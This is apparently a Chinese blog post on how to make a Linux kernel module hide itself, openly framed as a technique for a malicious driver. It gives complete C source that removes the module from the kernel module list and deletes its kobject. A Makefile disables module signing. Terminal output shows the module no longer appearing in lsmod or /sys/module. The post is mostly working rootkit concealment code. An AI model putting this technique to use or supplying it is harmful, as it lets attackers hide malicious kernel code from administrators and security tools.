Linux 隐藏驱动模块
如果作为恶意驱动的话,肯定是希望自己模块加载之后不会被发现,那么就需要对安装的模块进行隐藏(其实就是让你使用查找命令找不到),使用以下函数在驱动初始化入口进行摘链+kobject_del()函数删除当前模块的kobject就可以起到在/sys/module中隐藏。list_del_init(&__this_module.list);test.c#include <linux/modu
·
作为恶意驱动,肯定是希望自己模块加载之后不会被发现,那么就需要对安装的驱动模块进行隐藏,在驱动初始化入口进行摘链,kobject_del()函数删除当前模块的kobject就可以起到在 lsmod 和 /sys/module中隐藏。
list_del_init(&__this_module.list);
test.c
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("curtis li");/*作者*/
MODULE_DESCRIPTION("HELLO");
MODULE_VERSION("1.0");//版本号
static int hello_init(void)
{
unsigned int cpu = get_cpu();
printk("-----%d-----\n",cpu);
struct module *mod;
printk(KERN_ALERT "this module: %p==%p\n", &__this_module, THIS_MODULE );
printk(KERN_ALERT "module state: %d\n", THIS_MODULE->state );
printk(KERN_ALERT "module name: %s\n", THIS_MODULE->name );
printk(KERN_ALERT"module version:%s\n",THIS_MODULE->version);
//遍历所有驱动,dmesg查看
list_for_each_entry(mod, *(&THIS_MODULE->list.prev), list )
printk(KERN_ALERT "module name: %s\n", mod->name );
//从全局链表中摘除
list_del_init(&__this_module.list);
//删除当前模块kobject
kobject_del(&THIS_MODULE->mkobj.kobj);
return 0;
}
static void hello_exit(void)
{
printk(KERN_ALERT "module state: %d\n", THIS_MODULE->state );
printk("find_module bye...\n");
}
module_init(hello_init);
module_exit(hello_exit);
Makefile:
CONFIG_MODULE_SIG=n
ifeq ($(KERNELRELEASE),)
ROOTS_DIR = /root/
#内核源码路径,不同环境可能会不一样,内核源码一定要先编译
KERNEL_DIR = /lib/modules/$(shell uname -r)/build
CUR_DIR = $(shell pwd)
all:
make -C $(KERNEL_DIR) M=$(CUR_DIR) modules
clean :
make -C $(KERNEL_DIR) M=$(CUR_DIR) clean
install:
insmod test.ko
uninstall:
rmmod test
else
#用于指定到底编译的是哪个代码--hello.c
obj-m += test.o
#obj-m += math.o
endif
驱动加载之后,可以使用lsmod去查找驱动是否安装成功,ko名就是安装之后的模块名
curtis@curtis-virtual-machine:~/Desktop/test$ lsmod | grep test
curtis@curtis-virtual-machine:~/Desktop/test$
lsmod命令和相对应的查看/proc/modules以外,还可以通过查看/sys/module/目录来发现现有的模块
curtis@curtis-virtual-machine:~/Desktop/test$ ls
Makefile modules.order Module.symvers test.c test.ko test.mod test.mod.c test.mod.o test.o
curtis@curtis-virtual-machine:~/Desktop/test$ ls /sys/module/ | grep test
更多推荐
已为社区贡献2条内容
所有评论(0)